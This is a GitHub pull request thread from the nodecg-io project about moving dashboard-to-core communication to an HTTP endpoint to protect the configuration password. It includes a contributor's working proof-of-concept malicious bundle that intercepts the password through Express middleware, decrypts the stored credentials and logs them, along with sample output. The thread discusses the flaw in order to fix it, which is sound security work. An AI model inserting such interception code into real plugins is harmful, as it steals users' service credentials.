Skip to content
This repository was archived by the owner on Apr 13, 2025. It is now read-only.

Replace message based dashboard communication with a http endpoint #408

Closed
wants to merge 1 commit into from

Conversation

hlxid
Copy link
Member

@hlxid hlxid commented Jan 5, 2022

When adding the NodeCG message based communication between the dashboard and the core I assumed that a bundle can only listen for NodeCG messages for itself. However @TIM-tech-dev pointed out to me (thanks again btw) that any bundle can listen for e.g. the load message inside the nodecg-io-core bundle and get the nodecg-io configuration password.
Because any bundle can receive messages of any bundle, NodeCG messages are not a valid way of communicating anymore. Instead we move to a http endpoint with this PR.

Because of the NodeCG architecture we'll never be able to hide the password and the credentials from other bundles. A malicious bundle could always patch the nodecg-io js files and on the next start have access to practically everything.
A call to nodecg.listenFor is defently too easy, so this PR move the dashboard <-> core communication to use a http endpoint.

A bundle cannot override a http endpoint that is mounted with nodecg.mount. Only thing a bundle could do is try to be loaded before nodecg-io-core and register the endpoint first. To circumvent this a detection is added that checks whether a other bundle already registered the endpoint.

I still do not recommend using any bundles you don't trust or haven't checked, they can do nasty things outside the context of nodecg-io too.
Writing a documentation entry on our security considerations so they are actually documented is also on my todo list.

This PR will be backported to the release/0.2 branch.

@sebinside sebinside self-requested a review January 5, 2022 16:16
@sebinside
Copy link
Member

Uuupsi. Sounds like a good idea to not leak the password THAT easy. Since this is security-related I look into this one.

@TimTechDev
Copy link
Contributor

TimTechDev commented Jan 5, 2022

This also breaks with a simple callback inside nodecg.mount():

import { NodeCGServer } from "nodecg-types/types/lib/nodecg-instance";
import * as crypto from "crypto-js";

export function decryptData(cipherText: string, password: string) {
	try {
		const decryptedBytes = crypto.AES.decrypt(cipherText, password);
		const decryptedText = decryptedBytes.toString(crypto.enc.Utf8);
		return JSON.parse(decryptedText);
	} catch (error) {
		return error;
	}
}

module.exports = (nodecg: NodeCGServer) => {
	const encryptedData = nodecg.Replicant("encryptedConfig", "nodecg-io-core")
		.value as { cipherText: string };
	nodecg.mount("/nodecg-io-core", (req, _res, next) => {
		if (typeof req.body["password"] === "string") {
			nodecg.log.warn("Your password is:", req.body["password"]);
			nodecg.log.warn(
				decryptData(encryptedData.cipherText, req.body["password"])
			);
		}
		next();
	});
};

=>

warn: [steal_creds] Your password is: Test
warn: [steal_creds] {
  instances: {
    deb: { serviceType: 'debug' },
    'ArtNet™': { serviceType: 'artnet', config: [Object] }
  },
  bundleDependencies: {
    'ahk-sendcommand': [ [Object] ],
    . . .
    'youtube-playlist': [ [Object] ]
  }
}
info: [nodecg-io-core] Decrypting and loading saved configuration.

@hlxid
Copy link
Member Author

hlxid commented Jan 6, 2022

Dang, didn't think about the fact that bundles can register middlewares too.

@sebinside
Copy link
Member

sebinside commented Jan 6, 2022

When we moved on from chat-overflow to the node environment, we lost the pretty cool JRE sandbox feature. In the current setup, it's risky to let NodeCG handle the password decryption AND secure the data at runtime. That's what we said from the beginning: The data is only secure when the encrypted store is attacked, not the running instance.

A possible solution could be some kind of asymmetric encryption from startup: nodecg-io-core generates a public and private key, populates the public key in a way that cannot be easily manipulated (that's probably the hard part), and receives the password to decrypt the credentials in an encrypted form. Because the key pair changes on every run, an attacker could only deceive the frontend iff the memory is read at runtime - something we cannot protect ourselves in this open environment.

Not related to this problem, the idea of moving to a universal HTTP endpoint is interesting. I wonder if this would be more stable in the long term compared to message-based communication. However, for a rich frontend, we would also probably need event-based communication triggered by the backend.

@sebinside
Copy link
Member

Also regarding the comment at https://github.com/codeoverflow-org/nodecg-io/pull/408/files#diff-8b4b51705275a7e16cb22c869a22b864ea28ea55e7564e991e36f9d4ee62c3a9R166-R182, the frontend (having the password in clear text) has to verify two things:

  1. The mounted nodecg-io API is the real one (hopefully, the code does this already)
  2. The communication with the (now verified) real nodecg-io API cannot listened to from the beginning (AFAIK that's the described attack from tim)

Or do I understand this whole problem completely wrong? :D

@hlxid
Copy link
Member Author

hlxid commented Jan 6, 2022

Also regarding the comment at https://github.com/codeoverflow-org/nodecg-io/pull/408/files#diff-8b4b51705275a7e16cb22c869a22b864ea28ea55e7564e991e36f9d4ee62c3a9R166-R182, the frontend (having the password in clear text) has to verify two things:

  1. The mounted nodecg-io API is the real one (hopefully, the code does this already)
  2. The communication with the (now verified) real nodecg-io API cannot listened to from the beginning (AFAIK that's the described attack from tim)

Or do I understand this whole problem completely wrong? :D

Before doing this PR I've tested a bit arround with nodecg.mount. I assumed that was the only way a bundle could interact with the express instance of NodeCG. While testing I found out that the first bundle to register a route using nodecg.mount actually gets it. Any bundle that would register the same route after nodecg-io-core would not get access to any requests because the route by nodecg-io-core takes precedence. This would mean that no bundle could intercept traffic to this route unless it would have mounted it before nodecg-io-core which is what the verify function checks. It generates a random value that only nodecg-io-core has (assuming other bundles won't read our memory area). After startup it makes a request to the expected dashboard api route to get the secret. If it is right it is actually nodecg-io because any bundle that might have registered the path before can't have the correct secret.

Thats the whole reason why I changed to http in the first place. I assumed once you have the route, no bundle can intercept it. However as Tim found out you can register middlewares on the whole express instance which can intercept anything going through the NodeCG server (this includes the whole NodeCG frontend). This makes my verify function completely useless.

For asymmetric encryption we would need to make sure that we get the correct public key of the core in the dashboard and with any bundle having the possibility to man-in-the-middle all http communication and NodeCG messages I can't think of a real way to do this - at least right now (as you've said. That's the hard part).

In the current state this PR doesn't solve the issue at all, so I won't merge it.

@hlxid
Copy link
Member Author

hlxid commented Jan 6, 2022

Not related to this problem, the idea of moving to a universal HTTP endpoint is interesting. I wonder if this would be more stable in the long term compared to message-based communication. However, for a rich frontend, we would also probably need event-based communication triggered by the backend.

Event based updating of the dashboard should already work, if I recall correctly. If you open the dashboard twice, add a instance (as a example) the core will update the value of the replicant that is holding the encrypted config. The dashboard reacts to changes to the replicant, decrypts the updated config and re-renders everything.

@sebinside
Copy link
Member

So we are looking for an exotic way to send one single piece of information to the frontend that cannot be manipulated that easy from an adversarial bundle. Is it, e.g., possible for a bundle to manipulate the statically hosted files of the own bundle and insert some information there? 🤔

@sebinside
Copy link
Member

sebinside commented Jan 6, 2022

Or could we include the user in the decision that the communication is not corrupted, e.g., by displaying some string or numbers in the console (in a direct way that cannot be intercepted from another bundle) that has to be the same like shown in the GUI or entered in the GUI? (Looking at the way two-step authentication works)

(just brainfarting now :P)

@hlxid
Copy link
Member Author

hlxid commented Jan 6, 2022

We could inject the public key at startup into the dashboard or create a static file that will be served with the key in it. However as any bundle can intercept this traffic too, so it won't really help.

Logging the public key and showing it in the dashboard before login is definitely possible. Because the bundle name in the log messages can be faked a user would need to check whether there were multiple keys logged, one actually from nodecg-io and others from other bundles. But I don't think that a user will really check that everytime they log in.

I doubt that such a complex solution is worth the effort as this could still be bypassed by just modifiying the javascript files. I doubt a bundle that changes our PersistenceManager to send the password to the malicious bundle would take more than 20-25 lines.

@hlxid
Copy link
Member Author

hlxid commented Jan 6, 2022

I guess we could hash the user provided input in the dashboard and use the hash as a password. That way we at least don't leak the plain password which could be bad if a user uses this password for some other stuff too as people re-use the same password. The hash could only be used to decrypt the nodecg-io config, not more.

@hlxid
Copy link
Member Author

hlxid commented Jan 22, 2022

Closing this PR because NodeCG messages are cleaner IMHO. The security issue has been addressed in #424.

@hlxid hlxid closed this Jan 22, 2022
@hlxid hlxid deleted the dashboard-http-api branch July 23, 2023 18:57
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants